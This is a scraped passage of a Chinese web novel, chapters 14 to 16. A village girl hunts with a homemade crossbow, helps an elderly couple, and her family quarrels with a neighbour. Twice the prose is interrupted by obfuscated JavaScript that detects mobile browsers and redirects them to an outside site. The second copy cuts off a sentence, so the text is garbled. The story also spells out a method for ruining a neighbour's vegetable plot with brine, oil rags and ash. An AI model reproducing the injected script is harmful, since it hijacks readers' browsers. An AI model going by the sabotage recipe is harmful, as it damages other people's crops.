坏消息是,木箭好像没对蛇造成什么伤害,只是擦了它一下。并且那蛇被激怒了,停下了追逐铁蛋的动作,转过头,朝着王钰这边爬了过来。 王钰也被吓得转身就跑,慌乱之间,她下意识地扣动了扳机,手里仅剩的一支木箭射了出去,与此同时,她手里的弩因为之前折腾得太厉害,“咔嚓”一声,崩出来两个小零件,掉在了地上。 就在这危急关头,“轰隆”一声,一块巨大的石头突然从旁边砸了过来,正好砸在了蛇的身上。蛇被砸得剧烈挣扎了几下,尾巴甩得飞快,没过一会儿,就彻底没了动静。 看到蛇好像真的没动静了,王钰三人才敢慢慢靠近蛇的尸体。 凑近了才发现,那块石头几乎压中了蛇三分之一的身体,把它压得扁扁的,而王钰刚才慌乱中射出去的木箭,居然精准地扎进了蛇的一只眼睛里,贯穿了整个眼球。 原来,刚才铁柱看到蛇窜出来,情急之下,他看到旁边有块大石头,不知道哪里来的力气,居然硬生生把石头搬了起来,朝着蛇砸了过去。而王钰的木箭,也恰好射中了蛇的眼睛。两者叠加,才让这条蛇彻底死了。 铁蛋看到这一幕,高兴的大喊:“好厉害!小宝是神枪手!大哥是大力士!” 王钰刚才狂跳的心逐渐平静下来,听到铁蛋的话,虽然有点心虚,但还是有些得意,没错,她就是枪法这么准,比小胖厉害多了。 高兴了一会,王钰也看到了那个巨大的石头,她靠近铁柱,好奇的摸了摸铁柱的手:“铁柱哥,你怎么力气这么大,这么大的石头都能搬起来。” 铁柱现在还有些后怕:“不知道,我一着急就搬起来了。” 王钰若有所思,一本正经的点点头:“铁柱哥是隐藏的大力士。” 铁蛋兴奋过来,跑过来问两个人:“这条蛇要不要带回去啊?” 王钰惊讶:“这蛇也能吃吗?” 铁柱解释:“有一些没有毒的蛇是可以吃的,有时候在菜地里都会抓到一些没毒的蛇,拿回去当肉吃。” 王钰看着那蛇的尸体,鸡皮疙瘩都起来了,挥了挥手:“你要带就带回去吧,但是不要靠近我。” 把蛇装进背篓里后,三人也不敢再带着山上了,顺着来时的路下山了。 14. 救人(修) “铁蛋,那是谁?” 王钰眼神好,老远就看到了那有个人蹲在地上,旁边还直直躺着一个,看着就不对劲。 铁蛋眯着眼睛瞅了好半天:“好像是牛棚的人。” 听到关键字“牛棚”,王钰的雷达响起,立马拉着铁蛋想去看看。 但铁蛋不想去,他使劲摇头:“不行,奶不让我们跟他们说话,咱们还是赶紧下山吧,等会要天黑了。” 王钰晃了晃铁蛋的胳膊,声音软了几分带着点撒娇的意味:“就看一眼嘛,就一眼!要是真有人出事了,咱们不管的话,多可怜啊?” 背着野鸡和蛇的铁柱没说话,黝黑的脸上没什么表情,只是沉默的看着两人。 最后,还是铁蛋被王钰说服了,三人快步朝着那两人走了过去。 走近了才看清,是个头发花白的老奶奶蹲在地上,正费力地想把躺在地上的老爷爷背起来。 老奶奶身形瘦弱,胳膊细得像柴火棍,怎么使劲都只能把老爷爷挪动一点点,额头上全是细密的汗珠,顺着脸颊往下淌。 听到脚步声,老奶奶猛地抬起头,看到三个半大孩子,眼里瞬间燃起了希望,像是看到了救命恩人似的,声音沙哑地哀求:“小姑娘、小伙子,你们、你们有吃的吗?或者能不能帮我把他背回去?”说最后一句话时,她的目光落在了身材最高壮的铁柱身上。 王钰没等铁柱说话,立马把手伸进兜里摸索,很快掏出一小包用油纸包着的杏脯:“奶奶,我这有杏脯!” 章心灵接过杏脯,手指都在发抖,连忙撕开封皮往顾于和嘴里塞。可顾于和已经昏迷过去了,嘴唇抿得紧紧的,就算把杏脯塞进嘴里,也根本不会咀嚼吞咽。 王钰立马反应过来,又从另一个口袋掏出几颗糖:“我这里还有糖。” 章心灵感激的看了一看王钰,随后立马把糖塞进老爷爷的嘴里,糖在嘴里慢慢融化,甜丝丝的糖水顺着喉咙滑下去,过了一会,顾于和的眼皮动了动,终于缓缓醒了过来。 顾于和醒来后,还没反应过来,旁边的章心灵就猛地抱住他:“你真是吓死我了,话说了一半就倒下了。” 其实之前顾于和也有因为吃不饱而低血糖晕倒的情况,但基本上几分钟就醒过来了,但是这次晕倒了这么久,吓得章心灵以为他这次饿死过去了。 顾于和虚弱地拍了拍章心灵的肩膀,声音沙哑地安抚:“别怕,我没事,让你担心了。” 章心灵哭了一会,才反应过来,旁边还有三个小孩,她立马站起来擦了擦眼泪,给顾于和介绍:“你要好好谢谢这三个,特别是那个女娃,要不是她带了糖,你这次说不定真的扛不过去。” 顾于和挣扎着站起身,对着三个孩子郑重地鞠了一躬:“谢谢你们救了我。实在不好意思,我现在一穷二白,没什么能回报你们的。”他说这话时满脸愧疚,毕竟自己就是因为饿太久才晕过去的,连顿饱饭都没法招待孩子们。 王钰连忙摆摆手,小脑袋摇得飞快:“不用不用,谁看到都会救的。” 顾于和只是笑了笑,没有多说什么,除了这些什么都不懂的小孩,还有谁看到会来救他们,不踩他们一脚,都算好了。 “等以后我有能力了,一定好好回报你们。”顾于和认真地说。 王钰重重地点点头,露出一口小白牙:“好噢!那爷爷你多保重,我们要下山啦!” 顾于和点点头,和章心灵一起站在原地,看着王钰三人蹦蹦跳跳下山的背影,直到再也看不见。 良久,顾于和才缓缓开口:“这小姑娘,就是昨天晚上给我们送杏脯的那个。” 章心灵惊讶的扭头看他:“你怎么知道?” “你刚才给我的杏脯,和昨天晚上的杏脯的味道一模一样,这杏脯的味道和红旗大队的人做的味道不一样,和供销社买的杏脯的味道也不一样,里面加了几种药材,我尝出来了。” 章心灵对顾于和的舌头向来深信不疑,他的味觉灵敏得很,就算是同一个人不同时间做的同一道菜,他都能尝出细微的差别,更别说这加了特殊药材的杏脯了。 她若有所思地望着三人下山的方向,喃喃道:“你这么说,这小姑娘的背影确实和昨天晚上那个小孩的背影很像。” 昨天晚上听到布包落地的动静,她立马就从门缝里往外看了,只看到个匆匆离去的模糊背影,没看清样貌。 顾于和叹息:“那我可真得好好谢谢她了,这算是救了我两次。” 两人都没注意到,不远处的大树后面,原女主徐玉珍正静静地站在那里,将这一切都看在了眼里。 原本她也注意到了顾于和和章心灵这边的动静,但只是她背篓里藏着偷偷从山上挖的人参,怕被人看见惹麻烦,就先找了些树叶把人参掩盖好。等她处理完回来,就看到王钰三人已经凑了过去,还拿出了吃的救人。 徐玉珍是从几十年后穿越过来的,自然知道这些被下放到牛棚的人,大多是无辜的,所以她要是遇到了,也能毫无顾忌地出手相助。 可王钰不一样,她是土生土长的本地人,肯定知道牛棚的人身上背着罪名,却还是毫不犹豫地拿出自己舍不得吃的杏脯和糖,还敢主动上前帮忙。 徐玉珍忍不住感叹,之前看到李菊花在葬礼上那么尖酸刻薄、得理不饶人的样子,没想到她的孙女居然是这么善良勇敢的性子,真是歹竹出好笋了。 —— 下了山的王钰,像只刚打完胜仗的小将军,走路都带着风。 她惦记着自己射中的野鸡,非要让铁柱把背篓里的野鸡拿出来,自己一只手费劲地拎着鸡翅膀,另一只手拎着弩,小脸涨得通红,却硬是不肯松手。 铁柱看到她艰难的样子,提议:“要不我帮你拿弩?” 王钰立马把头一扬,傲娇地拒绝:“不用,我要自己拿!” 走了几分钟,三人终于遇到了第一个人。 那人不认识王钰,但显然认识铁柱。 那人惊讶的问道铁柱:“铁柱,这野鸡是你抓的啊?这么大一只!” 铁柱还没回话,旁边的王钰抢答到:“对!这野鸡还是我们用这个弩射中的!我一下就射中了它!” 那人惊讶:“这么厉害,让我看看。” 他近距离看了看鸡身上的伤口,又看了看弩:“这玩意这么厉害啊?准头这么好!我也想搞一把,上山打猎肯定好用。” 王钰骄傲的仰起头:“这是我自己做的!” “你这小姑娘这么聪明,这么厉害的东西你都会做。” 铁蛋也跟着说:“我们还用这个射中了蛇!我大哥还用大石头把蛇砸死了!” 铁柱配合的侧过身,让那人看背篓的蛇。 那人看到背篓里面那么粗的一条蛇,吓得往后退了一小步,随即又满脸羡慕:“这么大的一条蛇啊,你们运气真好,这都够吃好几顿了吧。” 这人一脸羡慕的走了,接下来,王钰他们遇到的人越来越多,几乎每个人看到王钰手里的野鸡,都会上来问几句。 王钰每次都会举起手里的野鸡和弩强调道: “我射中的野鸡!” “弩是我自己做的!” “我一次就射中了!” 那小模样,得意得不行,像个向人邀功的小功臣。 就这样,还没走到家里,几乎半个村的人都知道王守业他孙女孙子,今天在山上打了一只野鸡和一条很粗的蛇。 可就在离家还有几十米远的时候,三人却被人拦住了。 拦路的是王志强,他身边还站着两个中年人,其中一个正是红旗大队的大队长。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958578|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王志强明明眼里的嫉妒都快溢出来了,却还要装出一副大义凛然的样子说道:“大队长,我也不是想为难几个小孩,只是我觉得,这山上的东西都是公家的、是共产的,哪能让他们一家独吞啊?应该要分给大家!咱们可千万不能陷入资本主义的泥坑!为了表明我不是因为个人恩怨才举报这件事,这野鸡和蛇,我一口都不吃,全部分给大家。” 其实十几分钟前,王志强听到村民议论这件事的时候,心里就打起了歪主意。他压根没想到,王守业家居然有这本事,能从山上抓到野鸡和蛇。但转念一想,小孩子就是小孩子,蠢得很,抓到了好东西不知道藏着掖着,还这么大张旗鼓地炫耀着回家,这不就是给他送把柄来了吗? 他立马一路小跑去找了大队长,又马不停蹄地赶在王钰他们回家之前,在路口把人拦住了。 不出他所料,这话一出口,周围看热闹的村民里果然有不少人眼睛直勾勾地盯着野鸡和蛇,嘴里开始窃窃私语。 “可不是嘛,山上的东西都是公家的,哪能让他们一家独占?” “这小丫头不是咱们大队的吧?是李建军家的城里闺女,凭啥来咱们山上拿东西?” “就是!得让他们把东西交出来分了!这是咱们全队的肉,不能让外人占了便宜!” 王钰听出来了,这些人想抢她的鸡,她抱着鸡,想把鸡藏在自己身后,甚至想立马跑回家。 比王钰逃走来得更快的是李菊花的咒骂。 “王志强你个杀千刀的小兔崽子!你在这儿瞎咧咧啥呢!” 众人回头一看,李菊花挎着菜篮子,迈着大步急匆匆地赶了过来,脸上满是怒气,眼睛怒视王志强。 她走到王钰身边,一把将孩子护在身后,指着王志强的鼻子继续骂:“我家小孙女上山抓只野鸡咋了?招你惹你了?这山上的野物,谁有本事谁得,你有那闲工夫在这儿挑事,咋没见你上山抓一只回来?废物一个!” 骂完王志强,她又转头扫视着周围起哄的村民,唾沫星子横飞:“还有你们这群嚼舌根的!一个个吃饱了撑的没事干是吧?啥叫公家的?我咋没见你们把河里捞的鱼、山上挖的野菜交出来分了?咋没见你们把射到的鸟拿出来分了?合着就我家孩子抓点东西,你们就眼红了?一群没见过世面的废物!” “一个个的,就知道欺负小孩,有娘生没娘教的东西!有那能耐去山上跟野物较劲去,跟几个半大孩子抢东西,不嫌寒碜?”李菊花越骂越气,“告诉你们,今天这野鸡和蛇,就是我家小孙女的!谁要是敢动一根手指头,我就坐在谁家门口骂上一天。” 有村民不服气,小声嘟囔:“可这小丫头不是咱们队的……” “不是咱们队的咋了?”李菊花立马怼了回去,嗓门更大了,“她是我李菊花的亲孙女!我疼我孙女,给她吃口肉咋了?你们家外孙外孙女来,你们不拿好东西招待?合着就你们金贵,我家孙女就该受委屈?我看你们是脑子进水了!” 她又放下狠话:“再者说,这弩是我孙女自己做的,凭本事抓的野物,凭啥给你们?今天谁敢抢,我明天就去公社给你们全举报了” 李菊花在村里向来泼辣,谁都知道她护短,再加上这话说得又狠又在理,刚才还起哄的村民瞬间就蔫了,一个个低下头不敢吭声。王志强被她骂得脸一阵红一阵白,想反驳又不敢,只能站在原地憋得难受。 现场安静了足足有十几秒,李菊花冷哼一声,拉起王钰的手,又瞪了一眼铁柱和铁蛋:“走,回家!跟这群没出息的东西置气,掉价!” 三人跟在李菊花身后,大摇大摆地往家走,留下一群村民面面相觑,再也没人敢说一句反对的话。 大队长早知道会是这个结果,清了清嗓子:“好了,这点小事还叫我来干嘛,大家没事就散了啊,明天还要上工呢。” 15. 半夜报仇 吵赢了的李菊花,斗志昂扬地带着三小孩回家,关门前,还对着那些人的方向吐了一口痰:“一群占便宜没够,吃亏难受的狗东西!一辈子也发不了家,活该穷得叮当响!” 关门之后,王钰兴致冲冲的举起手里的野鸡:“奶奶!我抓到野鸡了!” 李菊花瞥了她一眼:“我能不知道你抓了野鸡了?全村人都知道了!”她用手狠狠点了一下王钰的额头:“抓到野鸡也不知道收敛点,还到处炫耀。” 王钰嘿嘿一笑,脑袋往李菊花胳膊上蹭了蹭,试图蒙混过关。 还好李菊花没有跟她计较,接过王钰手里的野鸡,“咱们明天中午吃野鸡。” 王钰立马垮下了小脸:“为啥呀奶奶,可是我现在就想吃。” 李菊花用手指指了指上面:“你看看现在都多晚了,等鸡炖出来,咱们都得摸黑吃饭了。” 王钰这才发现已经很晚了,她遗憾道:“好吧,那就明天吃吧。” 王建军和刘向华回来,才发现王钰今天居然干了这么大一件事。 王建军高兴得大笑,一把把王钰捞进怀里,狠狠揉了揉她的头发:“真不愧是我女儿,这么聪明!快,把你的弩拿出来给我看看。” 刘向华在她软乎乎的脸蛋上亲了口:“小宝真厉害。” 王钰把已经坏了的弩拿出来,刘向华接过仔细看:“做的很粗糙,但是你居然能想出来这么做,真聪明,比我小时候还厉害,咱们家祖坟真是又冒青烟了。” 王建军也接过弩,虽然做的粗糙,也已经坏了,但是听王钰眉飞色舞地讲自己怎么设计、怎么组装,又是怎么在山上勇猛的射中野鸡和大蛇的,听得他心痒痒:“小宝,咱们明天再做一把!” 刘向华在旁边无奈地提醒:“咱们明天要回厂里了。” “啊?”王钰和王建军同时发出遗憾的声音。 王建军哀嚎:“我那么辛苦干了两天活,结果明天就要回去上班了,我连一天都没休息到!” 王钰也皱起眉头,可怜兮兮的样子:“我还想让爷爷帮我再做一个弩呢!铁柱哥,刚跟我说爷爷的木工很好。” 看着父女俩一模一样的委屈模样,刘向华无奈地扶了扶额,这俩真是一个模子刻出来的。她挥了挥手:“行了行了,我先回县城,你们晚点再回来,这样总行了吧?” 两人瞬间眼睛一亮,立马换上殷勤的模样。 王建军赶紧凑到刘向华身边,给她捏着胳膊:“还是媳妇你通情达理!明天我送你去坐牛车,辛苦你了!” 王钰也有样学样,小手在刘向华另一只胳膊上轻轻捶着,软声软气地说:“谢谢妈妈,妈妈辛苦了!我明天再去打两只野鸡,给妈妈和外婆补身体!” 刘向华被父女俩这同步的模样逗笑了,点了点王钰的小鼻子:“好了,别耍小聪明了。小宝,玩弩的时候一定要注意安全,不能伤到自己,也不能对着别人瞄准,知道吗?” 王钰立马站直向她不伦不类的行了一个军礼:“是!我一定注意安全!” 刘向华没有再多说什么,王钰在这方面还是比较仔细的。 第二天中午,一家人吃完香喷喷的野鸡,刘向华就背着包袱坐牛车回县城了。 王建军看见刘向华走了,他悄悄走进了王建国的房间,王建国正在换衣服,看到有人进来,吓了一跳,看清是王建军后,没好气地骂道:“你小子,怎么进来不做声。” 王建军嬉皮笑脸地凑过去:“大哥,今天中午的鸡肉好吃吗?” 王建国不假思索的回答:“那肯定好吃啊。” 王建军压低声音:“那你这个做大伯的,是不是要帮小宝出出气,这可是她打回来的野鸡。” 王建国眼神暗了暗:“哦,你是说王志强是吧,放心,你不说我也不会放过他的。今天晚上咱们就去他们家。” 虽然明面上看,他们家是王建军最不学无术,没结婚前像个混混一样。可谁也不知道,家里那些上不得台面的坏事,大多是王建国这个看上去憨厚老实的大哥干的。 王建军听到这话,来兴趣了:“又要去他们家泼屎吗?” 王建国嗤笑一声:“这都多老的套路了,太容易被抓了。” 王建军更兴奋了:“那是干嘛?带我一起去!” 王建国点点头:“行,晚上别睡太死,我叫你。” 自从铁柱跟王钰说爷爷的木工很厉害的时候,王钰就惦记着这件事。 吃完午饭,她立马凑近王守业:“爷爷,爷爷,爷爷。” 王守业正坐在院子里抽烟,被她晃得没法,无奈地问:“怎么了?” 王钰仰着小脸蛋,满眼期待地说:“爷爷你能不能帮我做弩?就是我昨天用来射鸡的那个,铁柱哥哥说你是整个县木工最好的人了!他说你做出来的东西一百年都用不坏。”(铁柱:我没说) 王守业被这话夸得心里美滋滋的,脸上却依旧端着沉稳的架子,慢悠悠地说:“行,等我下工回来,抽空给你做。” 王钰立马高兴得跳起来,扑进王守业怀里蹭了蹭:“好耶!谢谢爷爷!爷爷最厉害了!我最喜欢爷爷了!” 傍晚,王守业刚一进门,王钰就像个小炮仗似的扑了上来,拉着他的手就往柴房走:“爷爷爷爷爷爷,咱们快去做弩吧!我把东西都摆好了!” 王守业先去洗了洗手:“别急,你先说说怎么做。” 王钰打开拿了很久的设计图:“就按照图上的这样做,爷爷你看得懂吗?”经过上次刘向华他们的指弩为树的事件之后,王钰也清楚的知道自己画得设计图难看懂了。 王守业点点头:“大概可以看懂。” 王钰眼睛一亮,一脸崇拜地说:“爷爷你太厉害了!不愧是全县最好的木工!妈妈都看不懂,你一下子就看明白了!” 王守业的嘴角微微上扬,他不会告诉王钰,他今天一下午都在琢磨这弩,看过弩(粗糙版)的实物,再倒推设计图,自然就不难了。 王守业存放得很好的木工箱,大大小小的工具摆放整齐,王钰蹲在旁边,眼睛一眨不眨地盯着王守业的动作。 王守业拿出一根纹理细密的桦木,比王钰上次用的木头更结实,他拿起墨斗,拽出棉线在木头上弹了条笔直的线:“先把弩身刨平。” 说着便拿起刨子,手腕用力,木屑像卷儿似的落在地上。 有这么一个专业人士亲自制作,弩总算是赶在晚饭前做完了。 虽然木箭还没来得及削,但王钰已经迫不及待地拿起自己之前削的木箭了,她搭箭上弦,瞄准院子外的老树,手指一扣扳机,“咻”的一声,木箭稳稳钉在树干上,距离足有二十步远!王钰凑近去看木箭,那留下的深度可比上次她做的要厉害得多。 王钰高兴得跳起来,扑进王守业怀里撒娇:“爷爷你太厉害啦!这弩比我做的好一百倍!” 王守业嘴角抑制不住的上扬,轻咳:“好了,小事罢了,赶紧去吃饭吧。” 在饭桌上,王钰手舞足蹈地演示王守业给她做的弩有多么多么好,引得家里其他小孩连连惊呼。 李菊花看着王守业那明明高兴的不行但还是要硬装沉稳的脸,翻了个白眼,这把年纪了还这么装。 —— 半夜。 王建军跟着王建国轻手轻脚地溜出家门,脚下的土路坑坑洼洼,两人专挑人少的路走,并且尽量不发出声响。 “大哥,到底要怎么做呀?神神秘秘的。”王建军压低声音,生怕惊动了谁家。 王建国回头瞪了他一眼:“别说话,跟着我就行,保证让王志强心疼好一段时间。” 他手里拎着个鼓鼓囊囊的麻袋,里面不知道装着什么。 两人摸到王老太院墙根下,这院墙也就到成年人胸口高。王建国先趴在墙上听了听,院子里静悄悄的,只是偶尔传来王志强震天的呼噜声。 他朝王建军使了个眼色,两人矮着身子溜到菜畦旁边,王建国打开粗布口袋,里面是一把干硬的草木灰,还有一小捆用稻草捆着的废机油布,陶土罐打开后,一股酸咸味飘出来,是家里腌菜剩下的老卤水。 “这是咱妈腌菜的老卤水,还有农机站捡的废机油布,再加上灶膛里的草木灰。”王建国轻声解释。 “老卤水咸得发苦,浇到菜根上,菜立马就枯,还能让土壤返碱,半年内种啥都活不了。废机油布撕烂埋在菜根下,油渗进土里,庄稼根全烂。草木灰看着是肥料,多了会烧根,混着卤水用,劲儿更足!”他可不是什么好人,如果不是杀人犯法,他早就想捅死王志强了。 王建军眼睛一亮:“这招绝!都是乡下常有的东西,他们没证据说是咱们干的。”说着就想伸手撕废机油布。 王建国按住他:“轻点!先把菜根周围的土扒开一点,别碰倒菜苗,浇完卤水再埋机油布,最后盖草木灰,看着跟施肥似的,他来菜地,不仔细看,也发现不了异常,而且他们家一家子的懒鬼,肯定不会仔细看的。” 两人分工合作,王建国用薅锄轻轻扒开每棵白菜、萝卜的根部土壤,王建军小心翼翼地往根上浇腌菜老卤水,每浇一棵就撕一小块废机油布埋进去,最后撒上一把草木灰,再把土填回去,拍得跟原来一样平。 陶土罐里的老卤水不多,王建国特意都浇在了菜中间的菜根上。这样中间的菜会先枯,接着四周的会慢慢被盐碱化的土壤影响,等王志强发现时,整个菜地里的菜都救不活了。 忙活了小半个时辰,一畦菜全被处理完。 “妥了!”王建国拍了拍手上的灰,把空口袋和陶土罐收好。刚要转身,就听见王志强家院子里传来鸡“咯咯”的惊叫声,紧接着是王志强媳妇迷迷糊糊的声音:“鸡咋了?是不是有黄鼠狼?”两人吓得赶紧猫着腰往回跑,王建军跑得太急,差点撞在墙上,被王建国一把拽住,跌跌撞撞地溜回了家。 回到家,王建军心还怦怦跳,却笑得合不拢嘴:“大哥,还是你想得周到!等他发现菜死了,地种不了菜,哭都晚了!” 王建国喝了口凉水,脸上依旧是那副憨厚模样,眼里却闪过一丝狠劲:“别声张,这事咱们就烂在肚子里。” 王建军连连点头,心里已经开始盼着看王志强的笑话了。 —— 过了一段时间,王老太挎着竹篮去菜地摘菜,刚走到菜地边就皱起了眉。原先绿油油的菜都打了蔫,蔫头耷脑地趴在地上。 “这到底咋回事?怎么蔫了,肯定是志强媳妇偷懒了。”她嘀咕着蹲下身,伸手摸了摸菜根周围的土,干巴巴的。 “是不是忘了浇水?”她自我安慰着,回家拎了水桶来,把菜都浇了遍透水,看着菜叶子似乎舒展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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这菜地可是他们家餐桌上的主要蔬菜,就这么毁了,往后都没菜吃了。 大队长正在家里编竹筐,听王志强说完情况,放下手里的活,跟着他去了菜地查看。扒开土看到里面的碎机油布,又闻了闻那股怪味,大队长的眉头也皱了起来。 “这确实是被人动了手脚,老卤水浇根,废机油布埋土,再撒上过量草木灰,这土半年内都种不了菜了。”大队长常年种地,一眼就看出了门道,“走,去王建军家问问。” 一行人浩浩荡荡地来到王建军家,此时李菊花正在院子里晒衣服,王守业和王建国也旁边闲聊。 看到大队长带着王志强过来,李菊花:“大队长,这是啥风把你吹来了?哎呦,还有王志强啊,你咋来了?” 王志强上前一步,指着李菊花道:“李菊花!是不是你们家故意毁了我的菜?” “你胡说八道啥呢!”李菊花立马拔高了声音,叉着腰反驳,“你家菜毁了关我们家啥事?自己不会种地,把菜养死了,倒来赖我们?我看你是想讹人!” “我讹你?”王志强气得发抖,“大队长都去看过了,我家菜根底下被人浇了老卤水,埋了废机油布!我们家前段时间就跟你们家吵过架,不是你们是谁?” “你有啥证据说是我们?”王建国从旁边站出来,“全村谁不知道你们家没一个勤奋的,指不定是你自己浇水浇多了,或是得罪了别人,反倒来赖我们家?” 铁蛋也跟着帮腔:“就是!天天就晓得抢别人东西!懒蛋!” 李菊花更是得理不饶人,对着围观的邻居喊:“大家来评评理啊!前段时间他一个大老爷们来抢我家孙女的野鸡,没抢着心里有怨,现在自己家菜死了,就来赖我们!这世上还有天理吗?” 大队长皱着眉开口:“王建军,李菊花,你们也别喊。王志强家的菜确实是被人动了手脚,你们有没有干,自己心里清楚。但王志强,你也拿不出实打实的证据,证明是他们家干的。” “我有!前段时间我们吵架了,他们肯定是报复我!”王志强急声道。 李菊花在旁边阴阳怪气:“我都不知道跟多少人吵过架,怎么偏偏不去报复别人,就去报复你!” 王志强气得脸涨红:“别扯歪理!” 大队长看两人又要吵起来,头都要大了,这样的戏码几乎每个月都会发生一次,但是每次王志强都拿不出证据。 大队长无奈的挥挥手:“好了好了,你们别闹了,李菊花,你也别这么咄咄逼人。王志强,你也别乱指人,你得有证据。这样吧,村里再给你划一块地,不过你要自己开荒,而且菜地离这也比较远。好了,那事情就这么结束了。” “凭啥就这么结束了?”王志强不甘心地喊。 “不然还能咋地?”大队长沉下脸,“没证据你能把他们咋样?真要闹大了,对你俩家都没好处,还影响村里的名声。听我的,这事就这么过了。” 王志强看着大队长严肃的脸,又看了看李菊花一家理直气壮的模样,知道再闹下去也没用,只能憋屈应下:“行!这事我记下了!” 大队长又劝了几句,让大家都散了。王志强耷拉着脑袋回了家,李菊花看着他们的背影,往地上啐了一口:“活该!谁让你们家不长眼,敢惹我们家!” 16. 山上遇到间谍 拿到了爷爷做的弩,王钰迫不及待就上山去了,当然这次是跟着王建军一起去的,防止再出现上次那样差点被蛇咬的情况。 父女俩不敢往深山里闯,就沿着上次的路线在山脚附近找猎物,可转了大半天了,啥也没见着。 “怕是山里的猎物都躲进深山了。”王建军擦了擦额角的汗,刚想叫王钰一起回去,就被她一把拽住胳膊,往旁边的大树后面按。 王钰眉头拧得紧紧的,小嘴巴凑到王建军耳边,用气音说:“爸爸,有奇怪的声音!他们说的话我听不懂,像在念咒语似的。” 王建军竖起耳朵仔细听了半天,却啥也没听见,便安抚道:“是不是风吹树叶的声音?或者是其他村的人说方言?你这小耳朵太灵,说不定听错了。” 王钰摇摇头:“不知道,但是我感觉不对劲,咱们在这躲一会。” 过了没一会,果然,两人听到了越来越近的对话声,确实是没听过的语言,不!不对,这语言有些耳熟,王建军仔细辨认,终于想起来了,这是樱花国的话。 意识到这一点的王建军,手心满是汗,他们碰上了什么了不起的大事了! 王钰她的眼神异于常人,隔着层层叠叠的草丛,隐约能看到两个男人的身影。 一个脸上带着一道狰狞的刀疤,从额头划到眼睛,看着就凶神恶煞;另一个则是眯眯眼,眼神阴鸷得像毒蛇,让人看着心里发毛。 幸好他们躲得快,那两个樱花国人径直从老树旁走了过去,压根没发现藏在后面的父女俩。直到两人的身影走远了些,王建军才松了口气,一把抱起王钰,声音都有些发颤:“小宝,咱们快点走,赶紧下山!那些是樱花国人,身上肯定有武器,太危险了!” 王钰听到这话更不肯走:“不行爸爸,他们是坏人,我们要打樱花国人!”在赵凤霞的教导下,她对樱花国人恨得牙痒痒,这会儿哪肯轻易走。 王建军第一次后悔把孩子教的这么“恨日”,他连忙哄着:“小宝,现在不是打樱花国人的时候,他们手上有刀有枪,咱们打不过他们的。” 王钰举起自己手上的弩:“我也有啊,我的弩很厉害。” “再厉害也是木头做的,抵不过铁枪啊。”王建军不敢再耽误,抱着王钰就往山下跑,一边跑一边劝,“等以后你长大了,做一把铁弩,咱们再跟他们较量,好不好?到时候爸爸陪你一起!” 王钰想起系统给她看的武器资料,里面的厉害武器确实都是铁做的,木头做的弩确实有些不够看。她瘪了瘪嘴,总算不挣扎了。 可就算王建军急着下山,厄运还是没能避开。 两人刚跑了不到五分钟,王钰突然拍了拍王建军的肩膀,小声道:“爸爸,前面有动静,有人过来了。” 王建军心里一紧,立马停下脚步,抱着王钰躲到了一丛茂密的灌木后面,大气都不敢出。灌木丛的叶子又密又尖,刮得他胳膊生疼,他也顾不上理会,只死死盯着前方的小路。 很快,四个人影出现在了前方的小路上,走得急匆匆的,神色慌张,像是在躲避什么人。 王钰定睛一看,其中两个是穿着军装的军人,身姿挺拔,眼神警惕。另外两个是年纪挺大的老人,头发都花白了,脚步有些踉跄,显然是被军人护着在跑。而那两个老人里,有一个正是她上次在山上救过的老爷爷! 王钰心里咯噔一下,瞬间就联想到了刚才那两个樱花国人,难道这四个人是在被樱花国人追杀? 果然,没等那四人走多远,刚才那两个樱花国人就追了上来,一左一右地堵住了小路,把四人困在了中间。阳光透过树叶的缝隙洒下来,照在两个樱花国人阴鸷的脸上,更显凶狠。 刘涛山一下子就把两老人护在身后:“你们小心!” 刘涛山这会儿心里别提多憋屈了,只觉得自己运气太差。 他护送的这位周远明,本是留洋归来的物理学家,当年回国时遭美丽国百般阻挠,好不容易才辗转回到祖国。可归国没几年,就因留洋的经历遭人诬陷,被下放到红旗大队的牛棚,日日干着挑牛粪、挖野菜的苦活。 万幸的是,周远明曾教过的一个学生在军队里有些门路,学生的父亲正是他们的团长张军强。张团长特意找关系将周远明安排在离军队不远的红旗大队,就是为了方便他遇事时能及时向军队求助。 只是周远明一直担心牵连学生一家,始终没敢动用这份关系。直到前几天收到王建军偷偷递来的纸条,得知有人要对牛棚里的人下死手,他才意识到情况危急,终于下定决心联系张军强求助。 张团长收到消息后,当即安排了一支十人小队前去接应,原本计划将牛棚里的人全部接到军队保护起来。可众人商议后觉得,“只有千日做贼,没有千日防贼”,与其被动躲避,不如主动出击。 于是,牛棚的人在昨晚就将其他同伴转移到了军队,只留下周远明和顾于和作为诱饵,引幕后黑手现身。 这支十人小队也做了分工:三人护送转移的同伴回军队,剩下七人则躲在暗处,负责保护周远明二人的安全。可谁也没料到,幕后黑手竟如此大手笔,一出手就是五个全副武装的人。 看到暗杀者后,见对方人数远超预期,刘涛山当即带着一名队友掩护周远明二人撤退,其余躲在暗处的队员则立刻上前与他们缠斗。 眯眯眼脸上挤出一副假惺惺的笑容,说着一口带着浓重樱花口音的普通话,语气油腻刺耳:“周远明,我们没有恶意的,只要你肯把武器的图纸交出来,我们今天就放过你。如果你愿意跟我们走,那就更好了,我们樱花国可以给你数不清的荣华富贵,总比你在这里挑牛粪、受委屈强,不是吗?” 刀疤脸则在旁边扮红脸,冷哼一声:“华国有句古话,识时务者为俊杰。周先生是聪明人,应该知道怎么选吧?别敬酒不吃吃罚酒!” 两人压根没把两个军人放在眼里,他们这次来带了最新的武器,反观这两个华国军人,用的还是落后几十年的家伙,在他们看来,根本不堪一击。 